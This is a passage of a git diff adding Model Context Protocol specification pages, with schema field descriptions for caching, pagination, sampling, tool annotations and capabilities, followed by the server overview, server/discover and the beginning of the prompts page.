+ If present, there may be more results available.
ttlMs: number
A hint from the server indicating how long (in milliseconds) the
+ client MAY cache this response before re-fetching. Semantics are
+ analogous to HTTP Cache-Control max-age.
If 0, The response SHOULD be considered immediately stale,
+ The client MAY re-fetch every time the result is needed.
If positive, the client SHOULD consider the result fresh for this many
+ milliseconds after receiving the response.
cacheScope: "public" | "private"
Indicates the intended scope of the cached response, analogous to HTTP Cache-Control: public vs Cache-Control: private.
"public": The response does not contain user-specific data. Any
+ client or intermediary (e.g., shared gateway, caching proxy) MAY cache
+ the response and serve it across authorization contexts.
"private": The response MAY be cached and reused only within the
+ same authorization context. Caches MUST NOT be shared across
+ authorization contexts (e.g., a different access token requires a
+ different cache).
Intended for programmatic or logical use, but used as a display name in past specs or fallback (if title isn't present).
title?: string
Intended for UI and end-user contexts — optimized to be human-readable and easily understood,
+ even by those unfamiliar with domain-specific terminology.
If not provided, the name should be used for display (except for Tool,
+ where annotations.title should be given precedence over using name,
+ if present).
description?: string
An optional description of what this prompt provides
arguments?: PromptArgument\[]
A list of arguments to use for templating the prompt.
Intended for programmatic or logical use, but used as a display name in past specs or fallback (if title isn't present).
title?: string
Intended for UI and end-user contexts — optimized to be human-readable and easily understood,
+ even by those unfamiliar with domain-specific terminology.
If not provided, the name should be used for display (except for Tool,
+ where annotations.title should be given precedence over using name,
+ if present).
Indicates the type of the result, which allows the client to determine
+ how to parse the result object.
Servers implementing this protocol version MUST include this field.
+ For backward compatibility, when a client receives a result from a
+ server implementing an earlier protocol version (which does not include resultType), the client MUST treat the absent field as "complete".
nextCursor?: string
An opaque token representing the pagination position after the last returned result.
+ If present, there may be more results available.
ttlMs: number
A hint from the server indicating how long (in milliseconds) the
+ client MAY cache this response before re-fetching. Semantics are
+ analogous to HTTP Cache-Control max-age.
If 0, The response SHOULD be considered immediately stale,
+ The client MAY re-fetch every time the result is needed.
If positive, the client SHOULD consider the result fresh for this many
+ milliseconds after receiving the response.
cacheScope: "public" | "private"
Indicates the intended scope of the cached response, analogous to HTTP Cache-Control: public vs Cache-Control: private.
"public": The response does not contain user-specific data. Any
+ client or intermediary (e.g., shared gateway, caching proxy) MAY cache
+ the response and serve it across authorization contexts.
"private": The response MAY be cached and reused only within the
+ same authorization context. Caches MUST NOT be shared across
+ authorization contexts (e.g., a different access token requires a
+ different cache).
Intended for programmatic or logical use, but used as a display name in past specs or fallback (if title isn't present).
title?: string
Intended for UI and end-user contexts — optimized to be human-readable and easily understood,
+ even by those unfamiliar with domain-specific terminology.
If not provided, the name should be used for display (except for Tool,
+ where annotations.title should be given precedence over using name,
+ if present).
uri: string
The URI of this resource.
description?: string
A description of what this resource represents.
This can be used by clients to improve the LLM's understanding of available resources. It can be thought of like a "hint" to the model.
mimeType?: string
The MIME type of this resource, if known.
annotations?: Annotations
Optional annotations for the client.
size?: number
The size of the raw resource content, in bytes (i.e., before base64 encoding or any tokenization), if known.
This can be used by Hosts to display file sizes and estimate context window usage.
Indicates the type of the result, which allows the client to determine
+ how to parse the result object.
Servers implementing this protocol version MUST include this field.
+ For backward compatibility, when a client receives a result from a
+ server implementing an earlier protocol version (which does not include resultType), the client MUST treat the absent field as "complete".
ttlMs: number
A hint from the server indicating how long (in milliseconds) the
+ client MAY cache this response before re-fetching. Semantics are
+ analogous to HTTP Cache-Control max-age.
If 0, The response SHOULD be considered immediately stale,
+ The client MAY re-fetch every time the result is needed.
If positive, the client SHOULD consider the result fresh for this many
+ milliseconds after receiving the response.
cacheScope: "public" | "private"
Indicates the intended scope of the cached response, analogous to HTTP Cache-Control: public vs Cache-Control: private.
"public": The response does not contain user-specific data. Any
+ client or intermediary (e.g., shared gateway, caching proxy) MAY cache
+ the response and serve it across authorization contexts.
"private": The response MAY be cached and reused only within the
+ same authorization context. Caches MUST NOT be shared across
+ authorization contexts (e.g., a different access token requires a
+ different cache).
Indicates the type of the result, which allows the client to determine
+ how to parse the result object.
Servers implementing this protocol version MUST include this field.
+ For backward compatibility, when a client receives a result from a
+ server implementing an earlier protocol version (which does not include resultType), the client MUST treat the absent field as "complete".
nextCursor?: string
An opaque token representing the pagination position after the last returned result.
+ If present, there may be more results available.
ttlMs: number
A hint from the server indicating how long (in milliseconds) the
+ client MAY cache this response before re-fetching. Semantics are
+ analogous to HTTP Cache-Control max-age.
If 0, The response SHOULD be considered immediately stale,
+ The client MAY re-fetch every time the result is needed.
If positive, the client SHOULD consider the result fresh for this many
+ milliseconds after receiving the response.
cacheScope: "public" | "private"
Indicates the intended scope of the cached response, analogous to HTTP Cache-Control: public vs Cache-Control: private.
"public": The response does not contain user-specific data. Any
+ client or intermediary (e.g., shared gateway, caching proxy) MAY cache
+ the response and serve it across authorization contexts.
"private": The response MAY be cached and reused only within the
+ same authorization context. Caches MUST NOT be shared across
+ authorization contexts (e.g., a different access token requires a
+ different cache).
Intended for programmatic or logical use, but used as a display name in past specs or fallback (if title isn't present).
title?: string
Intended for UI and end-user contexts — optimized to be human-readable and easily understood,
+ even by those unfamiliar with domain-specific terminology.
If not provided, the name should be used for display (except for Tool,
+ where annotations.title should be given precedence over using name,
+ if present).
uriTemplate: string
A URI template (according to RFC 6570) that can be used to construct resource URIs.
description?: string
A description of what this template is for.
This can be used by clients to improve the LLM's understanding of available resources. It can be thought of like a "hint" to the model.
mimeType?: string
The MIME type for all resources that match this template. This should only be included if all resources matching this template have the same type.
Sent from the server to request a list of root URIs from the client. Roots allow
+ servers to ask for specific directories or files to operate on. A common example
+ for roots is providing a set of repositories or directories a server should operate
+ on.
This request is typically used when the server needs to understand the file system
+ structure or access specific locations that the client has permission to read from.
Deprecated as of protocol version 2026-07-28 (SEP-2577).
+ Remains in the specification for at least twelve months; see the
+ deprecated features registry.
The result returned by the client for a roots/list request.
+ This result contains an array of Root objects, each representing a root directory
+ or file that the server can operate on.
Deprecated as of protocol version 2026-07-28 (SEP-2577).
+ Remains in the specification for at least twelve months; see the
+ deprecated features registry.
Represents a root directory or file that the server can operate on.
Example: Project directory root
\{ "uri": "file:///home/user/projects/myproject", "name": "My Project" }
Deprecated
Deprecated as of protocol version 2026-07-28 (SEP-2577).
+ Remains in the specification for at least twelve months; see the
+ deprecated features registry.
uri: string
The URI identifying the root. This must start with file:// for now.
+ This restriction may be relaxed in future versions of the protocol to allow
+ other URI schemes.
name?: string
An optional name for the root. This can be used to provide a human-readable
+ identifier for the root, which may be useful for display purposes or for
+ referencing the root in other parts of the application.
A request from the server to sample an LLM via the client. The client has full discretion over which model to select. The client should also inform the user before beginning sampling, to allow them to inspect the request (human in the loop) and decide whether to approve it.
Example: Sampling request
\{ "method": "sampling/createMessage", "params": \{ "messages": \[ \{ "role": "user", "content": \{ "type": "text", "text": "What is the capital of France?" } } ], "modelPreferences": \{ "hints": \[ \{ "name": "claude-3-sonnet" } ], "intelligencePriority": 0.8, "speedPriority": 0.5 }, "systemPrompt": "You are a helpful assistant.", "maxTokens": 100 } }
Deprecated
Deprecated as of protocol version 2026-07-28 (SEP-2577).
+ Remains in the specification for at least twelve months; see the
+ deprecated features registry.
Deprecated as of protocol version 2026-07-28 (SEP-2577).
+ Remains in the specification for at least twelve months; see the
+ deprecated features registry.
messages: SamplingMessage\[]
modelPreferences?: ModelPreferences
The server's preferences for which model to select. The client MAY ignore these preferences.
systemPrompt?: string
An optional system prompt the server wants to use for sampling. The client MAY modify or omit this prompt.
A request to include context from one or more MCP servers (including the caller), to be attached to the prompt.
+ The client MAY ignore this request.
Default is "none". The values "thisServer" and "allServers" are deprecated (SEP-2596): servers SHOULD
+ omit this field or use "none", and SHOULD only use the deprecated values if the client declares ClientCapabilities.sampling.context.
Deprecated
The "thisServer" and "allServers" values are deprecated as of protocol version 2025-11-25
+ (SEP-2596) and will be removed no later than the Sampling feature itself (SEP-2577). Omit this field or use "none".
temperature?: number
maxTokens: number
The requested maximum number of tokens to sample (to prevent runaway completions).
The client MAY choose to sample fewer tokens than the requested maximum.
stopSequences?: string\[]
metadata?: JSONObject
Optional metadata to pass through to the LLM provider. The format of this metadata is provider-specific.
tools?: Tool\[]
Tools that the model may use during generation.
+ The client MUST return an error if this field is provided but ClientCapabilities.sampling.tools is not declared.
toolChoice?: ToolChoice
Controls how the model uses tools.
+ The client MUST return an error if this field is provided but ClientCapabilities.sampling.tools is not declared.
+ Default is \{ mode: "auto" }.
The result returned by the client for a sampling/createMessage request.
+ The client should inform the user before returning the sampled message, to allow them
+ to inspect the response (human in the loop) and decide whether to allow the server to see it.
Example: Text response
\{ "role": "assistant", "content": \{ "type": "text", "text": "The capital of France is Paris." }, "model": "claude-3-sonnet-20240307", "stopReason": "endTurn" }
\{ "role": "assistant", "content": \{ "type": "text", "text": "Based on the current weather data:\n\n- \*\*Paris\*\*: 18°C and partly cloudy - quite pleasant!\n- \*\*London\*\*: 15°C and rainy - you'll want an umbrella.\n\nParis has slightly warmer and drier conditions today." }, "model": "claude-3-sonnet-20240307", "stopReason": "endTurn" }
Deprecated
Deprecated as of protocol version 2026-07-28 (SEP-2577).
+ Remains in the specification for at least twelve months; see the
+ deprecated features registry.
model: string
The name of the model that generated the message.
stopReason?: string
The reason why sampling stopped, if known.
Standard values:
"endTurn": Natural end of the assistant's turn
"stopSequence": A stop sequence was encountered
"maxTokens": Maximum token limit was reached
"toolUse": The model wants to use one or more tools
This field is an open string to allow for provider-specific stop reasons.
Keys not declared here are currently left unspecified by the spec and are up
+ to the client to interpret.
Deprecated
Deprecated as of protocol version 2026-07-28 (SEP-2577).
+ Remains in the specification for at least twelve months; see the
+ deprecated features registry.
name?: string
A hint for a model name.
The client SHOULD treat this as a substring of a model name; for example:
claude-3-5-sonnet should match claude-3-5-sonnet-20241022
sonnet should match claude-3-5-sonnet-20241022, claude-3-sonnet-20240229, etc.
claude should match any Claude model
The client MAY also map the string to a different provider's model name or a different model family, as long as it fills a similar niche; for example:
gemini-1.5-flash could match claude-3-haiku-20240307
The server's preferences for model selection, requested of the client during sampling.
Because LLMs can vary along multiple dimensions, choosing the "best" model is
+ rarely straightforward. Different models excel in different areas—some are
+ faster but less capable, others are more capable but more expensive, and so
+ on. This interface allows servers to express their priorities across multiple
+ dimensions to help clients make an appropriate selection for their use case.
These preferences are always advisory. The client MAY ignore them. It is also
+ up to the client to decide how to interpret these preferences and how to
+ balance them against other considerations.
Deprecated as of protocol version 2026-07-28 (SEP-2577).
+ Remains in the specification for at least twelve months; see the
+ deprecated features registry.
hints?: ModelHint\[]
Optional hints to use for model selection.
If multiple hints are specified, the client MUST evaluate them in order
+ (such that the first match is taken).
The client SHOULD prioritize these hints over the numeric priorities, but
+ MAY still use the priorities to select from ambiguous matches.
costPriority?: number
How much to prioritize cost when selecting a model. A value of 0 means cost
+ is not important, while a value of 1 means cost is the most important
+ factor.
speedPriority?: number
How much to prioritize sampling speed (latency) when selecting a model. A
+ value of 0 means speed is not important, while a value of 1 means speed is
+ the most important factor.
intelligencePriority?: number
How much to prioritize intelligence and capabilities when selecting a
+ model. A value of 0 means intelligence is not important, while a value of 1
+ means intelligence is the most important factor.
Deprecated as of protocol version 2026-07-28 (SEP-2577).
+ Remains in the specification for at least twelve months; see the
+ deprecated features registry.
Deprecated as of protocol version 2026-07-28 (SEP-2577).
+ Remains in the specification for at least twelve months; see the
+ deprecated features registry.
Controls tool selection behavior for sampling requests.
Deprecated
Deprecated as of protocol version 2026-07-28 (SEP-2577).
+ Remains in the specification for at least twelve months; see the
+ deprecated features registry.
mode?: "none" | "required" | "auto"
Controls the tool use ability of the model:
"auto": Model decides whether to use tools (default)
"required": Model MUST use at least one tool before completing
Deprecated as of protocol version 2026-07-28 (SEP-2577).
+ Remains in the specification for at least twelve months; see the
+ deprecated features registry.
type: "tool\_result"
toolUseId: string
The ID of the tool use this result corresponds to.
This has the same format as CallToolResult.content and can include text, images,
+ audio, resource links, and embedded resources.
structuredContent?: unknown
An optional structured result value.
This can be any JSON value (object, array, string, number, boolean, or null).
+ If the tool defined an Tool.outputSchema, this SHOULD conform to that schema.
isError?: boolean
Whether the tool use resulted in an error.
If true, the content typically describes the error that occurred.
+ Default: false
\_meta?: MetaObject
Optional metadata about the tool result. Clients SHOULD preserve this field when
+ including tool results in subsequent sampling requests to enable caching optimizations.
Deprecated as of protocol version 2026-07-28 (SEP-2577).
+ Remains in the specification for at least twelve months; see the
+ deprecated features registry.
type: "tool\_use"
id: string
A unique identifier for this tool use.
This ID is used to match tool results to their corresponding tool uses.
name: string
The name of the tool to call.
input: \{ \[key: string]: unknown }
The arguments to pass to the tool, conforming to the tool's input schema.
\_meta?: MetaObject
Optional metadata about the tool use. Clients SHOULD preserve this field when
+ including tool uses in subsequent sampling requests to enable caching optimizations.
A request from the client asking the server to advertise its supported
+ protocol versions, capabilities, and other metadata. Servers MUST
+ implement server/discover. Clients MAY call it but are not required
+ to — version negotiation can also happen inline via per-request \_meta.
Indicates the type of the result, which allows the client to determine
+ how to parse the result object.
Servers implementing this protocol version MUST include this field.
+ For backward compatibility, when a client receives a result from a
+ server implementing an earlier protocol version (which does not include resultType), the client MUST treat the absent field as "complete".
supportedVersions: string\[]
MCP Protocol Versions this server supports. The client should choose a
+ version from this list for use in subsequent requests.
capabilities: ServerCapabilities
The capabilities of the server.
instructions?: string
Natural-language guidance describing the server and its features.
This can be used by clients to improve an LLM's understanding of
+ available tools (e.g., by including it in a system prompt). It should
+ focus on information that helps the model use the server effectively
+ and should not duplicate information already in tool descriptions.
ttlMs: number
A hint from the server indicating how long (in milliseconds) the
+ client MAY cache this response before re-fetching. Semantics are
+ analogous to HTTP Cache-Control max-age.
If 0, The response SHOULD be considered immediately stale,
+ The client MAY re-fetch every time the result is needed.
If positive, the client SHOULD consider the result fresh for this many
+ milliseconds after receiving the response.
cacheScope: "public" | "private"
Indicates the intended scope of the cached response, analogous to HTTP Cache-Control: public vs Cache-Control: private.
"public": The response does not contain user-specific data. Any
+ client or intermediary (e.g., shared gateway, caching proxy) MAY cache
+ the response and serve it across authorization contexts.
"private": The response MAY be cached and reused only within the
+ same authorization context. Caches MUST NOT be shared across
+ authorization contexts (e.g., a different access token requires a
+ different cache).
Capabilities a client may support. Known capabilities are defined here, in this schema, but this is not a closed set: any client can define its own, additional capabilities.
experimental?: \{ \[key: string]: JSONObject }
Experimental, non-standard capabilities that the client supports.
roots?: \{}
Present if the client supports listing roots.
Deprecated
Deprecated as of protocol version 2026-07-28 (SEP-2577).
+ Remains in the specification for at least twelve months; see the
+ deprecated features registry.
Whether the client supports context inclusion via includeContext parameter.
+ If not declared, servers SHOULD only use includeContext: "none" (or omit it).
Whether the client supports tool use via tools and toolChoice parameters.
Deprecated
Deprecated as of protocol version 2026-07-28 (SEP-2577).
+ Remains in the specification for at least twelve months; see the
+ deprecated features registry.
Example: Sampling — minimum baseline support
\{ "sampling": \{} }
Example: Sampling — tool use support
\{ "sampling": \{ "tools": \{} } }
Example: Sampling — context inclusion support (deprecated)
Present if the client supports elicitation from the server.
Example: Elicitation — form and URL mode support
\{ "elicitation": \{ "form": \{}, "url": \{} } }
Example: Elicitation — form mode only (implicit)
\{ "elicitation": \{} }
extensions?: \{ \[key: string]: JSONObject }
Optional MCP extensions that the client supports. Keys are extension identifiers
+ (e.g., "io.modelcontextprotocol/oauth-client-credentials"), and values are
+ per-extension settings objects. An empty object indicates support with no settings.
Intended for programmatic or logical use, but used as a display name in past specs or fallback (if title isn't present).
title?: string
Intended for UI and end-user contexts — optimized to be human-readable and easily understood,
+ even by those unfamiliar with domain-specific terminology.
If not provided, the name should be used for display (except for Tool,
+ where annotations.title should be given precedence over using name,
+ if present).
version: string
The version of this implementation.
description?: string
An optional human-readable description of what this implementation does.
This can be used by clients or servers to provide context about their purpose
+ and capabilities. For example, a server might describe the types of resources
+ or tools it provides, while a client might describe its intended use case.
websiteUrl?: string
An optional URL of the website for this implementation.
Capabilities that a server may support. Known capabilities are defined here, in this schema, but this is not a closed set: any server can define its own, additional capabilities.
experimental?: \{ \[key: string]: JSONObject }
Experimental, non-standard capabilities that the server supports.
logging?: JSONObject
Present if the server supports sending log messages to the client.
Deprecated
Deprecated as of protocol version 2026-07-28 (SEP-2577).
+ Remains in the specification for at least twelve months; see the
+ deprecated features registry.
Example: Logging — minimum baseline support
\{ "logging": \{} }
completions?: JSONObject
Present if the server supports argument autocompletion suggestions.
Example: Completions — minimum baseline support
\{ "completions": \{} }
prompts?: \{ listChanged?: boolean }
Present if the server offers any prompt templates.
Type Declaration
OptionallistChanged?: boolean
Whether this server supports notifications for changes to the prompt list.
Whether this server supports notifications for changes to the tool list.
Example: Tools — minimum baseline support
\{ "tools": \{} }
Example: Tools — list changed notifications
\{ "tools": \{ "listChanged": true } }
extensions?: \{ \[key: string]: JSONObject }
Optional MCP extensions that the server supports. Keys are extension identifiers
+ (e.g., "io.modelcontextprotocol/tasks"), and values are per-extension settings
+ objects. An empty object indicates support with no settings.
Sent from the client to open a long-lived channel for receiving notifications
+ outside the context of a specific request. Replaces the previous HTTP GET
+ endpoint and ensures consistent behavior between HTTP and STDIO.
Example: Listen for tools and resource list changes
The response to a subscriptions/listen
+ request, signalling that the subscription has ended gracefully (for example,
+ during server shutdown). Because the listen stream is long-lived, this result
+ is sent only when the server tears the subscription down; an abrupt transport
+ close carries no response. The result body is otherwise empty.
Indicates the type of the result, which allows the client to determine
+ how to parse the result object.
Servers implementing this protocol version MUST include this field.
+ For backward compatibility, when a client receives a result from a
+ server implementing an earlier protocol version (which does not include resultType), the client MUST treat the absent field as "complete".
Identifies the server software producing the response. Servers SHOULD
+ include this field on every response unless specifically configured not
+ to do so.
The Implementation schema requires name and version; other
+ fields are optional.
The value is self-reported by the server and is not verified by the
+ protocol. It is intended for display, logging, and debugging. Clients
+ SHOULD NOT use it to change their behavior, and SHOULD NOT rely on it for
+ security decisions.
Identifies the subscription stream this response closes, so the client can
+ correlate it with the originating subscription — mirroring the same key on
+ the stream's notifications. The value is the JSON-RPC ID of the subscriptions/listen request that opened the stream (and equals this
+ response's id).
\{ "resultType": "complete", "content": \[ \{ "type": "text", "text": "Invalid departure date: must be in the future. Current date is 08/08/2025." } ], "isError": true }
\_meta?: ResultMetaObject
resultType: string
Indicates the type of the result, which allows the client to determine
+ how to parse the result object.
Servers implementing this protocol version MUST include this field.
+ For backward compatibility, when a client receives a result from a
+ server implementing an earlier protocol version (which does not include resultType), the client MUST treat the absent field as "complete".
content: ContentBlock\[]
A list of content objects that represent the unstructured result of the tool call.
structuredContent?: unknown
An optional JSON value that represents the structured result of the tool call.
This can be any JSON value (object, array, string, number, boolean, or null)
+ that conforms to the tool's outputSchema if one is defined.
isError?: boolean
Whether the tool call ended in an error.
If not set, this is assumed to be false (the call was successful).
Any errors that originate from the tool SHOULD be reported inside the result
+ object, with isError set to true, not as an MCP protocol-level error
+ response. Otherwise, the LLM would not be able to see that an error occurred
+ and self-correct.
However, any errors in finding the tool, an error indicating that the
+ server does not support tool calls, or any other exceptional conditions,
+ should be reported as an MCP error response.
The result returned by the server for a tools/list request.
Example: Tools list with cursor and TTL
\{ "resultType": "complete", "tools": \[ \{ "name": "get\_weather", "title": "Weather Information Provider", "description": "Get current weather information for a location", "inputSchema": \{ "type": "object", "properties": \{ "location": \{ "type": "string", "description": "City name or zip code" } }, "required": \["location"] }, "icons": \[ \{ "src": "[https://example.com/weather-icon.png](https://example.com/weather-icon.png)", "mimeType": "image/png", "sizes": \["48x48"] } ] } ], "nextCursor": "next-page-cursor", "ttlMs": 300000, "cacheScope": "public" }
\_meta?: ResultMetaObject
resultType: string
Indicates the type of the result, which allows the client to determine
+ how to parse the result object.
Servers implementing this protocol version MUST include this field.
+ For backward compatibility, when a client receives a result from a
+ server implementing an earlier protocol version (which does not include resultType), the client MUST treat the absent field as "complete".
nextCursor?: string
An opaque token representing the pagination position after the last returned result.
+ If present, there may be more results available.
ttlMs: number
A hint from the server indicating how long (in milliseconds) the
+ client MAY cache this response before re-fetching. Semantics are
+ analogous to HTTP Cache-Control max-age.
If 0, The response SHOULD be considered immediately stale,
+ The client MAY re-fetch every time the result is needed.
If positive, the client SHOULD consider the result fresh for this many
+ milliseconds after receiving the response.
cacheScope: "public" | "private"
Indicates the intended scope of the cached response, analogous to HTTP Cache-Control: public vs Cache-Control: private.
"public": The response does not contain user-specific data. Any
+ client or intermediary (e.g., shared gateway, caching proxy) MAY cache
+ the response and serve it across authorization contexts.
"private": The response MAY be cached and reused only within the
+ same authorization context. Caches MUST NOT be shared across
+ authorization contexts (e.g., a different access token requires a
+ different cache).
Intended for programmatic or logical use, but used as a display name in past specs or fallback (if title isn't present).
title?: string
Intended for UI and end-user contexts — optimized to be human-readable and easily understood,
+ even by those unfamiliar with domain-specific terminology.
If not provided, the name should be used for display (except for Tool,
+ where annotations.title should be given precedence over using name,
+ if present).
description?: string
A human-readable description of the tool.
This can be used by clients to improve the LLM's understanding of available tools. It can be thought of like a "hint" to the model.
A JSON Schema object defining the expected parameters for the tool.
Tool arguments are always JSON objects, so type: "object" is required at the root.
+ Beyond that, any JSON Schema 2020-12 keyword may appear alongside type — including
+ composition keywords (oneOf, anyOf, allOf, not), conditional keywords
+ (if/then/else), reference keywords (\$ref, \$defs, \$anchor), and any other
+ standard validation or annotation keywords.
Property schemas may carry an x-mcp-header annotation to mirror the
+ argument value into an HTTP header on the Streamable HTTP transport. See
+ the Streamable HTTP transport specification for the validity and
+ extraction rules.
Defaults to JSON Schema 2020-12 when no explicit \$schema is provided.
An optional JSON Schema object defining the structure of the tool's output returned in
+ the structuredContent field of a CallToolResult. This can be any valid JSON Schema 2020-12.
Defaults to JSON Schema 2020-12 when no explicit \$schema is provided.
annotations?: ToolAnnotations
Optional additional tool information.
Display name precedence order is: title, annotations.title, then name.
Additional properties describing a Tool to clients.
NOTE: all properties in ToolAnnotations are hints.
+ They are not guaranteed to provide a faithful description of
+ tool behavior (including descriptive properties like title).
Clients should never make tool use decisions based on ToolAnnotations
+ received from untrusted servers.
title?: string
A human-readable title for the tool.
readOnlyHint?: boolean
If true, the tool does not modify its environment.
Default: false
destructiveHint?: boolean
If true, the tool may perform destructive updates to its environment.
+ If false, the tool performs only additive updates.
(This property is meaningful only when readOnlyHint == false)
Default: true
idempotentHint?: boolean
If true, calling the tool repeatedly with the same arguments
+ will have no additional effect on its environment.
(This property is meaningful only when readOnlyHint == false)
Default: false
openWorldHint?: boolean
If true, this tool may interact with an "open world" of external
+ entities. If false, the tool's domain of interaction is closed.
+ For example, the world of a web search tool is open, whereas that
+ of a memory tool is not.
Default: true
+
diff --git a/content/mcp/specification/2026-07-28/server.md b/content/mcp/specification/2026-07-28/server.md
new file mode 100644
index 000000000..dd99aa7bb
--- /dev/null
+++ b/content/mcp/specification/2026-07-28/server.md
@@ -0,0 +1,33 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Overview
+
+Servers provide the fundamental building blocks for adding context to language models via
+MCP. These primitives enable rich interactions between clients, servers, and language
+models:
+
+* **Prompts**: Pre-defined templates or instructions that guide language model
+ interactions
+* **Resources**: Structured data or content that provides additional context to the model
+* **Tools**: Executable functions that allow models to perform actions or retrieve
+ information
+
+Each primitive can be summarized in the following control hierarchy:
+
+| Primitive | Control | Description | Example |
+| --------- | ---------------------- | -------------------------------------------------- | ------------------------------- |
+| Prompts | User-controlled | Interactive templates invoked by user choice | Slash commands, menu options |
+| Resources | Application-controlled | Contextual data attached and managed by the client | File contents, git history |
+| Tools | Model-controlled | Functions exposed to the LLM to take actions | API POST requests, file writing |
+
+Explore these key primitives in more detail below:
+
+
+
+
+
+
+
+
diff --git a/content/mcp/specification/2026-07-28/server/discover.md b/content/mcp/specification/2026-07-28/server/discover.md
new file mode 100644
index 000000000..7be8eb1e1
--- /dev/null
+++ b/content/mcp/specification/2026-07-28/server/discover.md
@@ -0,0 +1,110 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Discovery
+
+
+
+`server/discover` lets a client query a server's supported protocol versions,
+capabilities, and identity before sending any other requests. Servers **MUST**
+implement it.
+
+## Request
+
+The request carries no body parameters beyond the standard `_meta`:
+
+```json theme={null}
+{
+ "jsonrpc": "2.0",
+ "id": "discover-1",
+ "method": "server/discover",
+ "params": {
+ "_meta": {
+ "io.modelcontextprotocol/protocolVersion": "2026-07-28",
+ "io.modelcontextprotocol/clientInfo": {
+ "name": "ExampleClient",
+ "version": "1.0.0"
+ },
+ "io.modelcontextprotocol/clientCapabilities": {}
+ }
+ }
+}
+```
+
+## Response
+
+The server replies with its supported protocol versions, capabilities, and
+identity. This operation supports [caching](/specification/2026-07-28/server/utilities/caching).
+
+```json theme={null}
+{
+ "jsonrpc": "2.0",
+ "id": "discover-1",
+ "result": {
+ "resultType": "complete",
+ "supportedVersions": ["2026-07-28"],
+ "capabilities": {
+ "tools": {},
+ "resources": {}
+ },
+ "_meta": {
+ "io.modelcontextprotocol/serverInfo": {
+ "name": "ExampleServer",
+ "version": "1.0.0"
+ }
+ },
+ "instructions": "This server provides weather and resource utilities.",
+ "ttlMs": 3600000,
+ "cacheScope": "public"
+ }
+}
+```
+
+## When to Call
+
+Calling `server/discover` is optional for clients — a client may invoke any
+RPC inline and handle
+[`UnsupportedProtocolVersionError`](/specification/2026-07-28/schema#unsupportedprotocolversionerror)
+if the server does not support the requested version. However, `server/discover`
+is useful in two scenarios:
+
+* **Presenting server information.** While a client doesn't need to call
+ `server/discover` to use the server, it's a convenient way to retrieve the
+ server's identity, capabilities, and supported versions in a single request.
+ For example, a client can present the capabilities a server supports from a
+ single `server/discover` response instead of probing with separate
+ `tools/list`, `prompts/list`, and `resources/list` requests.
+* **stdio backward-compatibility probe.** On stdio, there is no per-request
+ HTTP status code to drive fallback. A client that supports both modern
+ (per-request `_meta`) and legacy (`initialize` handshake) servers **SHOULD**
+ send `server/discover` first; see
+ [stdio: Backward Compatibility](/specification/2026-07-28/basic/transports/stdio#backward-compatibility)
+ for the fallback rules.
+
+See [Protocol Version Negotiation](/specification/2026-07-28/basic/versioning#protocol-version-negotiation)
+for the full version-selection flow. For HTTP-specific status codes returned for
+unknown methods, see the [Protocol Version Header](/specification/2026-07-28/basic/transports/streamable-http#protocol-version-header)
+section in Transports.
+
+## Data Types
+
+### DiscoverResult
+
+A discovery result includes:
+
+* `supportedVersions`: Protocol versions the server supports. The client should
+ choose one of these for subsequent requests.
+* `capabilities`: Capabilities the server supports (tools, resources, prompts,
+ etc.)
+* `_meta['io.modelcontextprotocol/serverInfo']`: Name and version of the server
+ software. Servers **SHOULD** include this field.
+* `instructions`: Optional natural-language guidance for LLMs on how to use
+ this server effectively
+
+
+ `serverInfo` is self-reported by the server and is not verified by the
+ protocol. It is intended for display, logging, and debugging. Clients **SHOULD
+ NOT** use it to change their behavior, and **SHOULD NOT** rely on it for
+ security decisions.
+
diff --git a/content/mcp/specification/2026-07-28/server/prompts.md b/content/mcp/specification/2026-07-28/server/prompts.md
new file mode 100644
index 000000000..dabb5be24
--- /dev/null
+++ b/content/mcp/specification/2026-07-28/server/prompts.md
@@ -0,0 +1,338 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Prompts
+
+
+
+The Model Context Protocol (MCP) provides a standardized way for servers to expose prompt
+templates to clients. Prompts allow servers to provide structured messages and
+instructions for interacting with language models. Clients can discover available
+prompts, retrieve their contents, and provide arguments to customize them.
+
+
+ For brevity, the request examples on this page omit the `_meta` request
+ metadata (`io.modelcontextprotocol/protocolVersion`,
+ `io.modelcontextprotocol/clientInfo`, and
+ `io.modelcontextprotocol/clientCapabilities`). Every request **MUST** include
+ the required `_meta` fields; see
+ [`_meta`](/specification/2026-07-28/basic/index#meta).
+
+
+## User Interaction Model
+
+Prompts are designed to be **user-controlled**, meaning they are exposed from servers to
+clients with the intention of the user being able to explicitly select them for use.
+This refers to who decides when the prompt is used, not who authors its content. Prompt
+content is defined by the server.
+
+Typically, prompts would be triggered through user-initiated commands in the user
+interface, which allows users to naturally discover and invoke available prompts.
+
+For example, as slash commands:
+
+
+
+However, implementors are free to expose prompts through any interface pattern that suits
+their needs—the protocol itself does not mandate any specific user interaction
+model.
+
+## Capabilities
+
+Servers that support prompts **MUST** declare the `prompts` capability in their
+[`DiscoverResult`](/specification/2026-07-28/schema#discoverresult):
+
+```json theme={null}
+{
+ "capabilities": {
+ "prompts": {
+ "listChanged": true
+ }
+ }
+}
+```
+
+`listChanged` indicates whether the server will emit notifications when the list of
+available prompts changes.
+
+Servers that declare the `prompts` capability **MUST** respond to `prompts/list` requests
+with the set of prompts currently available to the requesting client. This set **MAY** be
+empty and **MAY** change over time (see
+[List Changed Notification](#list-changed-notification)), but **MUST NOT** vary
+per-connection or as a side effect of other requests on the connection. The set
+**MAY** vary by the authorization presented on the request — for example, returning
+only the prompts the caller's granted scopes permit — since credentials are
+per-request input, not connection state.
+
+## Protocol Messages
+
+### Listing Prompts
+
+To retrieve available prompts, clients send a `prompts/list` request. This operation
+supports [pagination](/specification/2026-07-28/server/utilities/pagination) and [caching](/specification/2026-07-28/server/utilities/caching).
+
+**Request:**
+
+```json theme={null}
+{
+ "jsonrpc": "2.0",
+ "id": 1,
+ "method": "prompts/list",
+ "params": {
+ "cursor": "optional-cursor-value"
+ }
+}
+```
+
+**Response:**
+
+```json theme={null}
+{
+ "jsonrpc": "2.0",
+ "id": 1,
+ "result": {
+ "resultType": "complete",
+ "prompts": [
+ {
+ "name": "code_review",
+ "title": "Request Code Review",
+ "description": "Asks the LLM to analyze code quality and suggest improvements",
+ "arguments": [
+ {
+ "name": "code",
